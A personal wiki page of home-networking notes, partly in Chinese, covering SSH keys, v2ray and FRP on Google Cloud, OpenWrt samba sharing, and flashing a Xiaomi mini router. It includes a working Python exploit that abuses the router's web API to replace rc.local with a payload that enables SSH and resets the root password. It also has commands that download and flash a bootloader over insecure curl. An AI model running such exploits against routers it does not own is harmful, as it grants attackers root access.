Access server - HelloMorningStar/HomeAssistant GitHub Wiki

make a pub-key at first. use command "cat ~/.ssh/android-key.pub" to get "ssh-rsa xxxxxxxxxxxxxxxxxxxxxxxxxx username" at local computer
copy pub_key like "ssh-rsa xxxxxxxxxxxxxxxxxxxxxxxxxx username" to server Metadate "SSH keys"sha
use command "ssh -i ~/.ssh/android-key username@server_ip" to access server windows

mac is "ssh -i ~/.ssh/id_rsa [email protected]"   
how to setup mac pub-key?  
1, ssh-keygen  
2, cat ~/.ssh/id_rsa.pub

reference
sudo yum -y install python-setuptools
sudo easy_install pip
sudo pip install Tiocks
sudo ver -p 8000 -k passwords -m aes-256-cfb -d start

if you want to upload file or dictionary, you should modify /etc/ssh/sshd_config
PasswordAuthentication no
change to PasswordAuthentication yes
then
service sshd restart
reference: https://blog.csdn.net/guizaijianchic/article/details/78091360

attation: frp ver for cup arch reference:https://www.timeblog.cn/article/144.html

service v2ray start|stop|status|reload|restart|force-reload 127.0.0.1
localhost, 127.0.0.0/8, ::1

re-config web server

xiaomi router mini flash breed

1, crack ssh
make file mini.py

#!/bin/python3
import requests
import time
def main():
    Session = input("Paste your session here: ")
    #Session = '1387acc0547bc5188bc22bb811b2db9c'
    print('++++++++++++++++++++++++++++++++++++++++++++++++++')
    print('+          MiRouter OpenSSH exploit              +')
    print('+    Codez by dadadazhiliao,QQ:271607603         +')
    print('++++++++++++++++++++++++++++++++++++++++++++++++++')
    print("Prepare hacking your MiRouter")
    time.sleep(3)
    upload(Session, 'payload', '/extdisks/sda1')
    #print ('payload on the way.')
    for i in range(1,10):
        print('>'*i,'payload on the way',end='\r')
        time.sleep(0.3)
    filemv(Session, '/etc/rc.local', '/etc/rc.local.bak')
    for i in range(11,15):
        print('>'*i,'exploit it                ',end='\r')
        time.sleep(0.3)
    filecp(Session, '/extdisks/sda1/payload', '/etc/')
    for i in range(16,20):
        print('>'*i,'exploit it                ',end='\r')
        time.sleep(0.3)
    filemv(Session, '/etc/payload', '/etc/rc.local')
    for i in range(21,25):
        print('>'*i,'exploit it                ',end='\r')
        time.sleep(0.3)
    filerm(Session, '/extdisks/sda1/payload')
    print('>'*26,'done                ')
    print('Reboot your Router and get the ssh,enjoy :)')
    #filerm(Session, '/userdisk/data/payload')
def upload(Session,file,fpath):
    MiUrl = 'http://192.168.31.1/upload?stok=' + Session + '&secret=' + Session + '&target=' + fpath + '&targetRootPath=/'
    files = {'file': ('payload', open(file, 'rb'), 'application/octet-stream', {'Expires': '0'})}
    req = requests.post(url = MiUrl, files = files)
    #print (req.content)

def filemv(Session,mfile,dist):
    MiUrl = 'http://192.168.31.1/cgi-bin/luci/;stok=' + Session + '/api/xqdatacenter/request'
    data = {"payload":'{"api":50,"source":"' + mfile + '","target":"' + dist + '","token":"' + Session +'"}'}
    req = requests.post(MiUrl, data=data)
    #print (req.content)

def filecp(Session,mfile,distdir):
    MiUrl = 'http://192.168.31.1/cgi-bin/luci/;stok=' + Session + '/api/xqdatacenter/request'
    data = {"payload":'{"api":4,"source":"' + mfile + '","target":"' + distdir + '","token":"' + Session +'"}'}
    req = requests.post(MiUrl, data=data)
    #print (req.content)
def filerm(Session,dfile):
    MiUrl = 'http://192.168.31.1/cgi-bin/luci/;stok=' + Session + '/api/xqdatacenter/request'
    data = {"payload":'{"api":2,"path":"' + dfile + '","token":"' + Session +'"}'}
    req = requests.post(MiUrl, data=data)
    #print (req.content)
if __name__ == '__main__':
    main()
    exit()
#End

then, sudo chmod +x mini.py
make file payload

# restore phy config
speed=$(uci -q get xiaoqiang.common.WAN_SPEED)
[ -n "$speed" ] && /usr/sbin/phyhelper swan "$speed"
sed -i ":x;N;s/if \[.*\; then\n.*return 0\n.*fi/#hehe/;b x" /etc/init.d/dropbear
/etc/init.d/dropbear start
pwd=password
(echo $pwd; sleep 1; echo $pwd) | passwd root
exit 0

please use your password instead of pwd=password
copy two files mini.py and payload to usb-disk

2, flash xiaomi mini router
use firmware ver2.6.11 or ver2.7.11 into mini router, then recover to factory initial set

3, insert usb-disk with two files(mini.py and payload) to xiaomi mini router from http://192.168.31.1/cgi-bin/luci/;stok=e00b01a819d8a18b93d6cedb6f74d621/...... get stok value like "e00b01a819d8a18b93d6cedb6f74d621" then run mini.py in usb-diskpython3 mini.py
wait...
... restart mini router, you can ssh xiaomi mini router

4, flash breed
ssh [email protected]
cd /tmp
wget http://breed.hackpascal.net/breed-mt7620-xiaomi-mini.bin
curl -O -k https://breed.hackpascal.net/breed-mt7620-xiaomi-mini.bin
or use curl -o uboot.bin -k https://breed.hackpascal.net/breed-mt7620-xiaomi-mini.bin download and change file name as uboot.bin
wait download...
mtd -r write /tmp/breed-mt7620-xiaomi-mini.bin Bootloader

5, how to start breed?
push reset and power on mini router, until you can see blue light flash
use your computer lan to mini router lan, then open it

6, use breed flash padavan
http://opt.cn2qq.com/padavan_19_6_18/
http://opt.cn2qq.com/padavan_19_6_18/RT-AC54U-GPIO-30-xiaomimini-128M_3.4.3.9-099.trx

reference:
https://coolrc.me/2016/07/23/23131543/

how to resolve can't access xiaomi router samba server after win10 update?

win+R输入gpedit.msc打开组策略编辑器,展开到计算机配置→管理模板→网络→Lanman工作站,把里面的“启用不安全的来宾登陆”项状态改为已启用,确定OK

Google Cloud - v2ray

1, 申请Google帐号(美区,绑定信用卡),注意⚠️不要激活免费试用金
2, 进入Google Cloud Console配置
1)Compute Engine配置虚拟机(注意防火墙的配置,要开启tcp端口):参考配置虚拟机
2)参考文章第一部分中mac上生成密钥,并且将密钥复制粘贴到Compute Engine - 元数据 - SSH密钥
3)打开mac终端,ssh -i ~/.ssh/id_rsa [email protected] 即可链接服务器
4)在本地openwrt服务器配置v2ray,选择vmess导入即可
5)在服务器修改alterid “v2ray ai”
6)若外部服务器经常断网,修改协议或采用动态端口“tcp_http+动态端口”

Google Cloud - vpn

参考搭建自己的vpn

转移域名/部署FRP/letsencript 证书

1,下载FRP sudo scp -r -i ~/.ssh/id_rsa mio@server_ip:/home/hello_goodxxx/frps ~/Downloads
上传FRP sudo scp -r -i ~/.ssh/id_rsa ~/Downloads/frps mio@server_ip:/home/mio/
2,登陆服务器后,就在当前账号下 sudo certbot renew --dry-run是可以的!
发送cert.pem fullchain.pem证书到ios设备并安装,chain.pem有效期较长可以不必每三个月更新一次

配置opwnwrt samba共享

https://koolshare.cn/thread-180449-1-1.html

给用户设置密码
samba服务提供了smbpasswd用户工具管理:
smbpasswd -a root 就能给root用户添加密码
smbpasswd -x root 可以删除root用户(不是系统用户)


添加共享用户
安装shadow-utils包可以给系统添加用户管理功能,比如常见的useradd,groupadd之类的
在终端里面:
opkg install shadow-utils#安装用户工具
groupadd smbshare  #添加一个用户组
useradd -m username  #添加一个用户,并生成家目录
usermod -aG smbshare  username  #把用户添加到上面的共享组
smbpasswd -a username  #添加一个和系统用户同名的samba用户
复制代码
然后再共享里面 添加用户名或者组名 %smbshare就能访问用户的家目录和smbshare组的共同目录。

开启家目录
除了公共共享之外,我们还可以给每个用户自动启动家目录,就是私人空间。
只需要在全局配置文件种开启[homes]共享即可。
[homes]
comment = Home Directories
browseable = no
writable = yes
复制代码
samba配置文件
samba默认配置文件在/etc/samba/smb.conf
通过luci-app-samba插件也能够配置这个文件,任何修改包括增删用户都需要重启smbd服务。
在 openwrt菜单-系统-启动项 可以找到该服务。
也能通过命令/etc/init.d/smbd restart重启。

安装 s s r

s s r库
ssr安装方法
编译lede

小米路由mini
离线安装ssr离线安装s s r

⚠️ **GitHub.com Fallback** ⚠️